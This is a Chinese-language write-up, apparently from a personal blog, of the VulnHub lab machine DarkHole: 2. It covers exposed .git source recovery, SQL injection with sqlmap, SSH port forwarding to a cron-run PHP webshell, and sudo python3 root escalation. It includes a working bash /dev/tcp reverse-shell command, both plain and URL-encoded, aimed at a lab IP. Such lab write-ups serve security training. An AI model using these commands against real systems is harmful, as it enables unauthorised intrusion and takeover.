DarkHole: 2
靶机描述
靶机地址:https://download.vulnhub.com/darkhole/darkhole_2.zip
Description
Difficulty:Hard
This works better with VMware rather than VirtualBox
Hint: Don't waste your time For Brute-Force
信息收集
主机发现
利用arp-scan -l命令扫描靶机IP
arp-scan -l
开放端口服务信息获取
nmap -v -T4 -p- -A -oN nmap.log 192.168.75.170
发现.git
泄露
目录扫描
dirsearch -u http://192.168.75.170/
gobuster dir -u http://192.168.75.170/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
.git源码泄露漏洞
下载.git
wget -r http://192.168.75.170/.git //-r递归下载所有文件
创建一个git存储库"webapp",我们可以在其中执行所有git操作
git clone . webapp
查看login.php,我们看到了登录逻辑,并对输入参数进行了转义,防止注入
git log
查看更新
看到第2次更新时,login.php使用了默认凭证
因此,我们将HEAD切换到该提交,并查看login.php
找到了用户名和密码,然后登陆平台
SQL注入
URL上,我们看到一个GET参数id,当我们改变它的值时,我们也可以观察到页面的变化
id=null时,数据为空
sqlmap跑一下
在ssh表里发现了一个账号密码,我们可以拿来连接ssh
SSH登录
权限提升一般通过查看sudo权限,发现具有特殊权限的文件,发现秘密文件,还有一些历史记录,定时任务,系统软件版本漏洞等
这道题这里采用的是定时任务,输入命令查看定时任务
cat /etc/crontab
可以看到运行了一个php服务器在9999端口上,用户为losy,我们可以尝试去看一下源代码
发现居然是一个一句话木马,我们可以通过携带我们想要执行的命令的cmd参数访问这个链接就可以以losy的身份执行命令
不过这个链接只能本地访问,因为我们已经获取了目标靶机的一个用户,所以我们可以使用SSH的本地转发功能(SSH -L)
这个功能是在本地监听一个端口,但该端口的连接被转发到远程主机的特定端口。相当于把远程端口映射到本地,即“将远程端口放在本地”
如下例子将监听本地9999端口,任何访问9999的客户端,都相当于远程访问example.com的80端口,但是流量是通过remote.server,并且所有流量都被加密
ssh -L 0.0.0.0:9999:example.com:80 user@remote.server
还有一种变体,目标主机与代理主机可以是同一台主机,即将remote.server服务映射到本地
ssh -L 0.0.0.0:9999:127.0.0.1:6379 user@remote.server
我们使用这个命令将目标靶机的本地9999映射到本地9999端口
ssh -L 9999:127.0.0.1:9999 jehad@192.168.75.170
然后我们在浏览器中访问9999端口,传入cmd参数
可以看到,用户为losy,我们可以反弹一个losy的shell
bash -c 'bash -i >& /dev/tcp/192.168.75.150/9000 0>&1'
进行URL编码后
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.75.150%2F9000%200%3E%261'
利用nc -nvlp 9000
在本地开启监听,然后将上面命令作为cmd参数访问,从而拿到shell,然后对shell进行升级
python3 -c 'import pty;pty.spawn("/bin/bash")'
提权
sudo -l
查询发现可以使用python3提权
sudo /usr/bin/python3 -c "import os;os.system('/bin/bash')"
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/18173085